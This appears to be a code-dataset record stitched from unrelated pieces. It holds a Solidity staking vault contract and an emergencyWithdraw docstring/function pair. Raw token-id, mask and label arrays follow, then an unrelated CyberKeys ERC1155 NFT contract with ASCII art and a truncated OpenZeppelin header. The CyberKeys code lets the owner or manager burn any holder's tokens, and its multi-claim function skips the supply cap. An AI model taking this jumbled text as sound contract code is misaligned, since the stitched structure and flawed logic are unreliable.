userInfo; uint256 public totalShares; uint256 public lastHarvestedTime; address public admin; address public treasury; uint256 public constant MAX_PERFORMANCE_FEE = 500; // 5% uint256 public constant MAX_CALL_FEE = 100; // 1% uint256 public constant MAX_WITHDRAW_FEE = 100; // 1% uint256 public constant MAX_WITHDRAW_FEE_PERIOD = 72 hours; // 3 days uint256 public performanceFee = 200; // 2% uint256 public callFee = 25; // 0.25% uint256 public withdrawFee = 10; // 0.1% uint256 public withdrawFeePeriod = 72 hours; // 3 days event Deposit(address indexed sender, uint256 amount, uint256 shares, uint256 lastDepositedTime); event Withdraw(address indexed sender, uint256 amount, uint256 shares); event Harvest(address indexed sender, uint256 performanceFee, uint256 callFee); event Pause(); event Unpause(); /** * @notice Constructor * @param _token: DexToken token contract * @param _receiptToken: Syrup token contract * @param _masterBuilder: MasterBuilder contract * @param _admin: address of the admin * @param _treasury: address of the treasury (collects fees) */ constructor( IERC20 _token, IERC20 _receiptToken, IMasterBuilder _masterBuilder, address _admin, address _treasury ) public { token = _token; receiptToken = _receiptToken; masterBuilder = _masterBuilder; admin = _admin; treasury = _treasury; // Infinite approve IERC20(_token).safeApprove(address(_masterBuilder), uint256(-1)); } /** * @notice Checks if the msg.sender is the admin address */ modifier onlyAdmin() { require(msg.sender == admin, "admin: wut?"); _; } /** * @notice Checks if the msg.sender is a contract or a proxy */ modifier notContract() { require(!_isContract(msg.sender), "contract not allowed"); require(msg.sender == tx.origin, "proxy contract not allowed"); _; } /** * @notice Deposits funds into the DexToken Vault * @dev Only possible when contract not paused. * @param _amount: number of tokens to deposit (in CAKE) */ function deposit(uint256 _amount) external whenNotPaused notContract { require(_amount > 0, "Nothing to deposit"); uint256 pool = balanceOf(); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 currentShares = 0; if (totalShares != 0) { currentShares = (_amount.mul(totalShares)).div(pool); } else { currentShares = _amount; } UserInfo storage user = userInfo[msg.sender]; user.shares = user.shares.add(currentShares); user.lastDepositedTime = block.timestamp; totalShares = totalShares.add(currentShares); user.dexTokenAtLastUserAction = user.shares.mul(balanceOf()).div(totalShares); user.lastUserActionTime = block.timestamp; _earn(); emit Deposit(msg.sender, _amount, currentShares, block.timestamp); } /** * @notice Withdraws all funds for a user */ function withdrawAll() external notContract { withdraw(userInfo[msg.sender].shares); } /** * @notice Reinvests DexToken tokens into MasterBuilder * @dev Only possible when contract not paused. */ function harvest() external notContract whenNotPaused { IMasterBuilder(masterBuilder).leaveStaking(0); uint256 bal = available(); uint256 currentPerformanceFee = bal.mul(performanceFee).div(10000); token.safeTransfer(treasury, currentPerformanceFee); uint256 currentCallFee = bal.mul(callFee).div(10000); token.safeTransfer(msg.sender, currentCallFee); _earn(); lastHarvestedTime = block.timestamp; emit Harvest(msg.sender, currentPerformanceFee, currentCallFee); } /** * @notice Sets admin address * @dev Only callable by the contract owner. */ function setAdmin(address _admin) external onlyOwner { require(_admin != address(0), "Cannot be zero address"); admin = _admin; } /** * @notice Sets treasury address * @dev Only callable by the contract owner. */ function setTreasury(address _treasury) external onlyOwner { require(_treasury != address(0), "Cannot be zero address"); treasury = _treasury; } /** * @notice Sets performance fee * @dev Only callable by the contract admin. */ function setPerformanceFee(uint256 _performanceFee) external onlyAdmin { require(_performanceFee <= MAX_PERFORMANCE_FEE, "performanceFee cannot be more than MAX_PERFORMANCE_FEE"); performanceFee = _performanceFee; } /** * @notice Sets call fee * @dev Only callable by the contract admin. */ function setCallFee(uint256 _callFee) external onlyAdmin { require(_callFee <= MAX_CALL_FEE, "callFee cannot be more than MAX_CALL_FEE"); callFee = _callFee; } /** * @notice Sets withdraw fee * @dev Only callable by the contract admin. */ function setWithdrawFee(uint256 _withdrawFee) external onlyAdmin { require(_withdrawFee <= MAX_WITHDRAW_FEE, "withdrawFee cannot be more than MAX_WITHDRAW_FEE"); withdrawFee = _withdrawFee; } /** * @notice Sets withdraw fee period * @dev Only callable by the contract admin. */ function setWithdrawFeePeriod(uint256 _withdrawFeePeriod) external onlyAdmin { require( _withdrawFeePeriod <= MAX_WITHDRAW_FEE_PERIOD, "withdrawFeePeriod cannot be more than MAX_WITHDRAW_FEE_PERIOD" ); withdrawFeePeriod = _withdrawFeePeriod; } /** * @notice Withdraws from MasterBuilder to Vault without caring about rewards. * @dev EMERGENCY ONLY. Only callable by the contract admin. */ function emergencyWithdraw() external onlyAdmin { IMasterBuilder(masterBuilder).emergencyWithdraw(0); } /** * @notice Withdraw unexpected tokens sent to the DexToken Vault */ function inCaseTokensGetStuck(address _token) external onlyAdmin { require(_token != address(token), "Token cannot be same as deposit token"); require(_token != address(receiptToken), "Token cannot be same as receipt token"); uint256 amount = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(msg.sender, amount); } /** * @notice Triggers stopped state * @dev Only possible when contract not paused. */ function pause() external onlyAdmin whenNotPaused { _pause(); emit Pause(); } /** * @notice Returns to normal state * @dev Only possible when contract is paused. */ function unpause() external onlyAdmin whenPaused { _unpause(); emit Unpause(); } /** * @notice Calculates the expected harvest reward from third party * @return Expected reward to collect in CAKE */ function calculateHarvestDexTokenRewards() external view returns (uint256) { uint256 amount = IMasterBuilder(masterBuilder).pendingDexToken(0, address(this)); amount = amount.add(available()); uint256 currentCallFee = amount.mul(callFee).div(10000); return currentCallFee; } /** * @notice Calculates the total pending rewards that can be restaked * @return Returns total pending DexToken rewards */ function calculateTotalPendingDexTokenRewards() external view returns (uint256) { uint256 amount = IMasterBuilder(masterBuilder).pendingDexToken(0, address(this)); amount = amount.add(available()); return amount; } /** * @notice Calculates the price per share */ function getPricePerFullShare() external view returns (uint256) { return totalShares == 0 ? 1e18 : balanceOf().mul(1e18).div(totalShares); } /** * @notice Withdraws from funds from the DexToken Vault * @param _shares: Number of shares to withdraw */ function withdraw(uint256 _shares) public notContract { UserInfo storage user = userInfo[msg.sender]; require(_shares > 0, "Nothing to withdraw"); require(_shares <= user.shares, "Withdraw amount exceeds balance"); uint256 currentAmount = (balanceOf().mul(_shares)).div(totalShares); user.shares = user.shares.sub(_shares); totalShares = totalShares.sub(_shares); uint256 bal = available(); if (bal < currentAmount) { uint256 balWithdraw = currentAmount.sub(bal); IMasterBuilder(masterBuilder).leaveStaking(balWithdraw); uint256 balAfter = available(); uint256 diff = balAfter.sub(bal); if (diff < balWithdraw) { currentAmount = bal.add(diff); } } if (block.timestamp < user.lastDepositedTime.add(withdrawFeePeriod)) { uint256 currentWithdrawFee = currentAmount.mul(withdrawFee).div(10000); token.safeTransfer(treasury, currentWithdrawFee); currentAmount = currentAmount.sub(currentWithdrawFee); } if (user.shares > 0) { user.dexTokenAtLastUserAction = user.shares.mul(balanceOf()).div(totalShares); } else { user.dexTokenAtLastUserAction = 0; } user.lastUserActionTime = block.timestamp; token.safeTransfer(msg.sender, currentAmount); emit Withdraw(msg.sender, currentAmount, _shares); } /** * @notice Custom logic for how much the vault allows to be borrowed * @dev The contract puts 100% of the tokens to work. */ function available() public view returns (uint256) { return token.balanceOf(address(this)); } /** * @notice Calculates the total underlying tokens * @dev It includes tokens held by the contract and held in MasterBuilder */ function balanceOf() public view returns (uint256) { (uint256 amount, ) = IMasterBuilder(masterBuilder).userInfo(0, address(this)); return token.balanceOf(address(this)).add(amount); } /** * @notice Deposits tokens into MasterBuilder to earn staking rewards */ function _earn() internal { uint256 bal = available(); if (bal > 0) { IMasterBuilder(masterBuilder).enterStaking(bal); } } /** * @notice Checks if address is a contract * @dev It prevents contract from being targetted */ function _isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } // File: contracts/VaultOwner.sol pragma solidity 0.6.12; contract VaultOwner is Ownable { using SafeERC20 for IERC20; DexTokenVault public immutable dexTokenVault; /** * @notice Constructor * @param _dexTokenVaultAddress: DexTokenVault contract address */ constructor(address _dexTokenVaultAddress) public { dexTokenVault = DexTokenVault(_dexTokenVaultAddress); } /** * @notice Sets admin address to this address * @dev Only callable by the contract owner. * It makes the admin == owner. */ function setAdmin() external onlyOwner { dexTokenVault.setAdmin(address(this)); } /** * @notice Sets treasury address * @dev Only callable by the contract owner. */ function setTreasury(address _treasury) external onlyOwner { dexTokenVault.setTreasury(_treasury); } /** * @notice Sets performance fee * @dev Only callable by the contract owner. */ function setPerformanceFee(uint256 _performanceFee) external onlyOwner { dexTokenVault.setPerformanceFee(_performanceFee); } /** * @notice Sets call fee * @dev Only callable by the contract owner. */ function setCallFee(uint256 _callFee) external onlyOwner { dexTokenVault.setCallFee(_callFee); } /** * @notice Sets withdraw fee * @dev Only callable by the contract owner. */ function setWithdrawFee(uint256 _withdrawFee) external onlyOwner { dexTokenVault.setWithdrawFee(_withdrawFee); } /** * @notice Sets withdraw fee period * @dev Only callable by the contract owner. */ function setWithdrawFeePeriod(uint256 _withdrawFeePeriod) external onlyOwner { dexTokenVault.setWithdrawFeePeriod(_withdrawFeePeriod); } /** * @notice Withdraw unexpected tokens sent to the DexToken Vault */ function inCaseTokensGetStuck(address _token) external onlyOwner { dexTokenVault.inCaseTokensGetStuck(_token); uint256 amount = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(msg.sender, amount); } /** * @notice Triggers stopped state * @dev Only possible when contract not paused. */ function pause() external onlyOwner { dexTokenVault.pause(); } /** * @notice Returns to normal state * @dev Only possible when contract is paused. */ function unpause() external onlyOwner { dexTokenVault.unpause(); } }
* @notice Withdraws from MasterBuilder to Vault without caring about rewards. @dev EMERGENCY ONLY. Only callable by the contract admin./
function emergencyWithdraw() external onlyAdmin { IMasterBuilder(masterBuilder).emergencyWithdraw(0); }
6,747,216
[ 1, 1190, 9446, 87, 628, 13453, 1263, 358, 17329, 2887, 5926, 310, 2973, 283, 6397, 18, 225, 7141, 654, 16652, 16068, 20747, 18, 5098, 4140, 635, 326, 6835, 3981, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 801, 24530, 1190, 9446, 1435, 3903, 1338, 4446, 288, 203, 3639, 6246, 2440, 1263, 12, 7525, 1263, 2934, 351, 24530, 1190, 9446, 12, 20, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%&@@@&&&&@@@@&&&@&&&&#%%#%%#%%%%##(((//@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%@@@@&&&@@@@&&&@@@&&&%%%%%%#%######((((((&@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*#(##&@@@@@@%%%%%%%%%%%%@@@&&&%@@@@&&%@@@@&&%&%%&%%%%%#####(#(((%@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&......,,*/((##&%@@@@@@%%%%%%@@@@&&%@@@@&&&&@@@&&&&%%%%%%%%%%%%#(((((#@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*..........,,*/((#%%&@@@@@@@%&@@@&&%&@@@&&&&@@@&&&%%%%%%%%%%%%%%###(#((#@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*...............,,*//(##%@@@@@@@@@@%%&@@@&&&&@@@@&&&%%&%%%&%%&%%%########@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.....%/..............,,*/((#%%@@@@@@@@@@@%&%%@@@@&&&%%%&%%&%%%%%%########@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%((...../@@@%.............,..,,,*/(#@@@@@@@@@@@@@@@&&&&%&%%%%%&%%%%%%########&@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#......* ,@@@@@@..........,.......,,*((%@@@@@@@@@@@@@@@@@%%&%%&%%%%%%%#######&@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.......,%[email protected]@@@@@@,..................*,,*(/&@@@@@@@@@@@@@@@@@@@&%%%%%%#######%@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&........%,.. . ,...................*..,..#%&@@@@@@@@@@@@@@@@@@@@@@@&%#%####%@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# ..... .......................*......,#%@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* ../,@#, ..(,....,@,. ......,......,..(,&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,......&/.../*...,*/@@@@@*...,...,.....%,/@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...,....,%[email protected]/.../&,@@@@@@@%.,..,...,.*(@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(.. %................,%.%/&@@@@@(.., (@/&,#@@@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...../,.. ....... ........,...*..,. /@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,.........%/,.,.,*@@*...... ,@#* ,**@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@/*@@@@@@@@@@@@@@@@@* ........%&. .&@#&@@@@@@,. ...&%*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@%......&@@@@@@@@@@@( .........&#/@%%@@@@@@@@@@@@,/...&,@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@....,,.%&..(@@@@@@% .........#&,@@%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@*.........**...&@@@......... /@,@@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@%.,.........../*,@,.........*@,%@&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@%@(.................. [email protected]/#@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@...,..............&(/@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@&..........%%,@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@#,* .........(@,@@%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@*....*,....*@,&@&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@....,@,@/#@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@,%% @/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@#%*..,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@... (&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@.%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface CyberbabiesInterface { function ownerOf(uint256 tokenId) external view returns (address owner); function whichBabyIsMine(address parent) external view returns(uint256[] memory ids); } contract CyberKeys is ERC1155Supply, Ownable { using SafeMath for uint256; address private _manager; address public cyberbabiesAddress = 0x991A546A167cEb2a6a7C344C9D85269Ac03035D9; CyberbabiesInterface cyberbabiesContract; bool public allowanceSaleIsActive = false; bool public publicSaleIsActive = false; uint256 public mintPrice = 0.03 ether; uint256 public maxSupply = 2500; uint256 public claimedSupply = 0; mapping(uint256=>uint8) public allowance; uint8 constant private _tokenId = 1; // uint256[] private robots = [5,9,15,20,24,64,107,218,229,241,242,293,297,303,312,335,353,370,375,387,389,438,442,444,473]; // uint256[] private reptiles = [46,49,50,78,83,88,92,99,126,160,170,205,269,280,317,324,332,367,390,408,416,435,440,471,482]; // uint256[] private zombies = [7, 14, 31, 55, 69, 100, 101, 108, 110,114, 122, 125, 137, 141, 149, 150, 152, 173,174, 196, 209, 227, 230, 231, 236, 264, 268, // 271, 277, 285, 295, 296, 306, 310, 313, 323,333, 340, 343, 345, 346, 361, 373, 385, 392,412, 436, 459, 461, 486]; // uint256[] private witches = [19, 38, 62, 75, 84, 98, 120, 129, 130,135, 136, 142, 146, 157, 164, 168, 177, 187,221, 224, 239, 240, 259, 261, 274, 275, 276, // 281, 286, 288, 294, 304, 308, 325, 329, 330,342, 349, 360, 368, 369, 380, 384, 407, 417,453, 465, 472, 485, 491]; // uint256[] private aliens = [22, 40, 42, 43, 44, 51, 56, 67, 74,87, 123, 124, 132, 133, 153, 158, 159, 166,176, 195, 206, 215, 219, 226, 237, 244, 247, // 256, 267, 299, 341, 344, 352, 358, 359, 363,374, 399, 431, 447, 448, 457, 463, 466, 469,474, 475, 487, 494, 497]; constructor (address cybbAddress) ERC1155("https://cyberbabies.io/api/keyToken/{id}.json") { cyberbabiesContract = CyberbabiesInterface(cybbAddress); _mint(owner(), _tokenId, 1, ""); // setAllowance(robots, 12); // setAllowance(reptiles, 10); // setAllowance(zombies, 8); // setAllowance(witches, 7); // setAllowance(aliens, 6); } receive() external payable {} modifier allowanceSaleIsLive { require(allowanceSaleIsActive == true, "Allowance sale not live"); _; } modifier publicSaleIsLive { require(publicSaleIsActive == true, "Public sale not live"); _; } modifier onlyOwnerOrManager() { require(owner() == _msgSender() || _manager == _msgSender(), "Caller not the owner or manager"); _; } function setAllowance(uint256[] calldata cybbIds, uint8 newAllowance) public onlyOwnerOrManager { for (uint256 i; i < cybbIds.length; i++) { allowance[cybbIds[i]] = newAllowance; } } function setAllAllowance(uint8 newAllowance) public onlyOwnerOrManager { for (uint256 i = 1; i < 501; i++) { allowance[i] = newAllowance; } } function getTotalAllowance(uint256[] memory cybbIds) public view returns(uint8 totalAlllowance){ uint8 totalAllowance = 0; for (uint256 i; i < cybbIds.length; i++) { totalAllowance += allowance[cybbIds[i]]; } return totalAllowance; } function setURI(string memory newuri) public onlyOwnerOrManager { _setURI(newuri); } function flipAllowanceSaleState() public onlyOwnerOrManager { allowanceSaleIsActive = !allowanceSaleIsActive; } function flipPublicSaleState() public onlyOwnerOrManager { publicSaleIsActive = !publicSaleIsActive; } function setMintPrice(uint256 newPrice) external onlyOwnerOrManager { mintPrice = newPrice; } function setMaxSupply(uint256 newMaxSupply) external onlyOwnerOrManager { maxSupply = newMaxSupply; } function setManager(address manager) external onlyOwnerOrManager { _manager = manager; } function claimAllowanceKeys(uint256 cybbId, uint8 amount) public payable allowanceSaleIsLive { require(claimedSupply + amount <= maxSupply, "All tokens have been purchased"); require(cyberbabiesContract.ownerOf(cybbId) == msg.sender, "Not the parent of this baby"); require(mintPrice * amount <= msg.value, "Ether value sent is not correct"); require(amount <= allowance[cybbId], "Not enough allowance remaining for this id"); claimedSupply += amount; allowance[cybbId] = allowance[cybbId] - amount; _mint(msg.sender, _tokenId, amount, ""); } function multiClaimAllowanceKeys(uint256[] calldata cybbIds, uint8 amount) public payable allowanceSaleIsLive { require(mintPrice * amount <= msg.value, "Ether value sent is not correct"); require(amount <= this.getTotalAllowance(cybbIds), "Not enough total allowance available"); uint8 totalAllowance = 0; for (uint8 i; i < cybbIds.length; i++){ require(cyberbabiesContract.ownerOf(cybbIds[i]) == msg.sender, "Not the parent of this baby"); totalAllowance += allowance[cybbIds[i]]; if (totalAllowance == amount || totalAllowance < amount) allowance[cybbIds[i]] = 0; else if (totalAllowance > amount){ allowance[cybbIds[i]] = totalAllowance - amount; break; } } claimedSupply += amount; _mint(msg.sender, _tokenId, amount, ""); } function claimKeys(uint8 amount) public payable publicSaleIsLive{ require(claimedSupply + amount <= maxSupply, "All tokens have been purchased"); require(cyberbabiesContract.whichBabyIsMine(msg.sender).length > 0, "Not a baby holder"); require(mintPrice * amount <= msg.value, "Ether value sent is not correct"); claimedSupply += amount; _mint(msg.sender, _tokenId, amount, ""); } function withdraw() public onlyOwnerOrManager { payable(msg.sender).transfer(address(this).balance); } function burn( address account, uint256 id, uint256 value ) public { require( account == _msgSender() || isApprovedForAll(account, _msgSender()) || _msgSender() == owner() || _msgSender() == _manager, "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public { require( account == _msgSender() || isApprovedForAll(account, _msgSender()) || _msgSender() == owner() || _msgSender() == _manager, "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } function ownerBurn( address[] memory accounts, uint256[] memory values ) public onlyOwnerOrManager { require( _msgSender() == owner() || _msgSender() == _manager, "ERC1155: caller is not owner or manager" ); for (uint i; i < accounts.length; i++) { _burn(accounts[i], _tokenId, values[i]); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See 